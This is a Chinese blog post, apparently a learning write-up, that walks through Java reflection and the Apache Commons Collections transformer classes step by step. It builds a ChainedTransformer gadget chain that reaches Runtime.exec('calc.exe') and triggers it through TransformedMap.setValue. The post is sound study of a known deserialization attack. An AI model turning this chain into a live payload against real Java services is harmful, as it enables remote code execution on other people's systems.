关于反射链的一些思考

0x01 前言

本文源自看到酒仙桥的文章之后引起的一些思考。

反射类的作用:

运行时分析类的能力

运行时查看对象

实现通用数组的操作代码

利用Method对象

这篇文章总的指导思想图：

Java运行期间会为所有的对象维护一个运行时的类型标识，这个信息跟踪

着每个对象所属的类。虚拟机利用运行时类型信息选择相应的方法执行，保存这些信息的类称为Class，Object类中的getClass()方法会返回一个Class类型的实例。

设：Emplyee为一个用户自建类

其中测试代码如下：

Employee e;

Class cl = e.getClass();

返回结果：class 包路径.Employee，getClass方法得到对象所属的包路径和类名。

Class cl = e.getClass().getName()

返回结果：包路径.Employee getName方法得到对象所属的包路径和类名。

调用静态方法Class.forName(java.util.Random)，可以获得类名对应的Class对象(并不是实例对象)，如下程序所示：

String className = “java.util.Random”;

Class cl = Class.forName(className);

如果想要获得实例对象，那么需要进行newInstance操作，即下一行代码：

Object m = Class.forName(className).newInstance();

反射机制的主要内容，最重要的功能—检查类的结构

java.lang.reflect包中有三个类，如下：

Field：描述类的域

Method：描述类的方法

Constructor：描述类的构造器

以上三个类都有一个叫做getName的方法，用于返回项目的名称。

使用反射调用任意类

首先创建Method对象，比如使用Math类中的sqrt方法，代码如下：

Method f = Math.class.getMethod(“sqrt”,double.class);

getMethod方法第一个参数为方法名称，第二参数为参数类型.class，如果没有参数就不用写。

double y = (Double) f.invoke(null,x);

invoke方法为方法的使用，其中第一个参数为null，第二个参数数据类型正确的参数。

0x02 反射链的疑问和探索

看下酒仙桥的公众号中构造的反射链（上述内容可参见酒仙桥6号部队公众号）

Transformer类型的数组，那先看看这个这个Transformer接口是干啥的吧：

返回Object类型，那接下来重写一下它的transform方法

输出结果：

那么这个接口被哪几个类实现了？

ConstantTransformer,invokerTransformer,ChainedTransformer,TransformeredMap，InstantiateTransformer

ConstantTransformer探索

看ConstantTransformer类做了什么，翻他的源码：

测试代码为：

ConstantTransformer类的源码为：

如果new一个ConstantTransformer的实例的话，那么传入的constatToReturn就会变成final且private类型的iConstant的值（或者说是引用，毕竟传入的是对象）。

再看它的transform方法，啥也没干，虽然传入的是input但是input没有起作用啊。

看看它到底返回了啥，加一行代码

可以看到，返回了类对象。

invokerTransformer探索

同样的方法，探讨invokerTransformer，查看其源码，测试代码为：

在System输出语句处打个断点，进入transform看下源码，看其构造函数

发现对当所有invokerTransformer的参数进入构造方法之后，构造方法对其原先的变量进行了赋值操作：

在赋值完成之后，调用其transform方法获得传入transform方法的类对象

之后，得到最初传入的方法名称，方法参数，通过Class类的getMethod方法，得到getMethod的方法，对方法对象进行反射操作。

打个断点：

开始函数追踪，首先看到传入的参数

追踪到transformer中，追踪到input.getClass()

看到getClass()的值为：class java.lang.Class

接着看getMethod()得到的值：

最后反射返回的值为：

public java.lang.reflect.Method java.lang.Class.getMethod(java.lang.String,java.lang.Class[])

分析一下下面三行代码的意思：

第一行代码，获取input对象的类对象（java.lang.Class）

第二行代码，通过传入方法名称和方法所需要的参数（getMethod，参数内容）

第三行代

返回反射的对象java.lang.Class.getMethod("getMethod",Object[]{"getRuntime",null})）

(伪代码，勿当真)

官方文档对getMethod的解释如下：

首先看到，第一个参数为String类型，第二个参数为Class集  合

继续执行invoke方法，返回反射的对象

那么我们如何传入参数，如何进行构造，根据其构造函数进行构造

构造的语句如下：

InvokerTransformer tran = new InvokerTransformer(“getMethod”，new Class[]{String.class,Class[].class}，new Object[]{“getRuntime”,null})

那么就可以返回一个Object的实例，相当于执行

Class cls = Runtime.class.getClass();

Method getmethod = cls.getMethod(“getMethod”,new Class[]{String.class,Class[].class});

Object method = getmethod.invoke(Runtime.class,new Object[]{“getRuntime”,null});

那么，为什么会返回java.lang.Reflect.Method的对象信息呢？

因为反射回的对象是getmethod.getMethod("getRuntime",null);,其对象的类型为Method类型

源码如下:

所以最后返回的是Method类型的对象，那么返回对象之后需要得到getRuntime的Runtime对象,所以需要再次进行反射，利用Invoke方法将getRuntime进行实例化。接着利用InvokerTransformer构造invoke方法

根据上面的构造Runtime方法，先看下invoke方法的参数要求

可以看到，第一个参数为对象，第二个参数为对象数组。

InvokerTransformer tran2 = new InvokerTransformer(“invoke”,new Class[]{Object.class,Object[].class},new Object[]{null，null});

Runtime run = (Runtime) tran2.transform(method);

相当于执行了：

Method getruntime = (Method)Runtime.class.getClass().getMethod(“getMethod”,new Class[]{String.class,Class[].class}).invoke(Runtime.class,new Object[]{“getRuntime”,null});

Object runtime = getruntime.getClass().getMethod(“invoke”,new Class[]{Object.class,Object[].class}).invoke(getruntime,new Object[]{null,null});

再相当于执行了：

Class cls = getruntime.getClass();//值为java.lang.Method的类对象

Object ob = cls.getMethod("invoke",null).invoke(getRuntime,null);

相当于执行了：

Runtime getrun = getruntime.invoke();

getRuntime已经进行过invoke的操作，那么它就是Runtime的一个实例。

再构造exec方法

InvokerTransformer tran3 = new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc.exe”});

tran3.transform(runtime);

相当于执行了：

Class cls = runtime.getClass();//值为Class java.lang.Runtime

Method method = cls.getMehod("exec",new Class{String.class});

Object getexec = method.invoke(runtime,"calc.exe");

不多说，打断点

只有在这个getExec对象为Runtime对象的基础上，我们才可以进行exec的调用，因为exec方法存在与Runtime类中，最后返回的对象为下图所示对象，这样便完成了exec方法的调用。

上述为通过invokerTransformer（反射式转化）类的transform进行反射链的构造和执行，那么我们如何让它自动去执行呢？

ChainedTransformer探索

看另一个类ChainedTransformer（链式转化）

不多说，看源码：

首先看这个循环，可以知道，在构造函数的时候，已经把Transformers这个Transformer的数组的引用给了iTransformers。

看transform函数做的工作是调用数组中每个元素的transform方法，这就很清楚了，我们只需要把InvokerTransformer的前面的每一个InvokerTransformer或者ConstantTransformer作为ChainedTransformer的数组元素传入。

开始构造：

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(Runtime.class),

newInvokerTransformer(“getMethod”,new Class[]{String.class,Class[].class},new Object{“getRuntime”,null},

newInvokerTransformer(“invoke”,new Class[]{Object.class,Object[].class},new Object[]{null,null}),

new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc.exe”})};

ChainedTransformer chain = new ChainedTransformer(transformers);

chain.transform(Object.class);

chain.transform的参数无所谓，随便写一个.class就可以，反正可以被其构造方法覆盖。

不使用transform方法执行反射链

根据这位大佬所说的我并没有找到setValue的方法。姑且按照他的思路来。

我没有找到setValue方法，倒是找到了后面的decorate方法和构造方法：

先构造代码，为什么这么构造，后面说

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map m = new HashMap();
m.put("key","value");
Map map = TransformedMap.decorate(m,null,chain);
Map.Entry entry = (Map.Entry)map.entrySet().iterator().next();
entry.setValue("value");

为什么这样写？追踪transformedMap方法

可以看到需要传入的参数为，map类型，Transformer 的key，Transformer的value

追踪decorate方法：

返回新的TransformerMap对象，接着看entry对象的工作

Map.Entry entry = (Entry) map.entrySet().iterator.next()

entrySet()把HashMap转化为集   合类型，iterator获得这个结合的迭代器获得第一组键值对元素。

获得之后的最后一步才是重中之重

entry.setValue("value");

看看setValue方法具体是怎么执行的，首先会checkSetValue然后在checkSetValue的时候会调用valueTransformer（是上面传入ChainTransformer类型的chain变量）的transform方法，此时就相当于执行了chain.transform(“value”)，而不管是value还是任意的其他值，对于ConstantTransformer这个类已经没有了任何价值，因为它根本没有被使用。ConstantTransformer.transform(“value”)执行完了之后才是各种的InvokerTransformer.transform。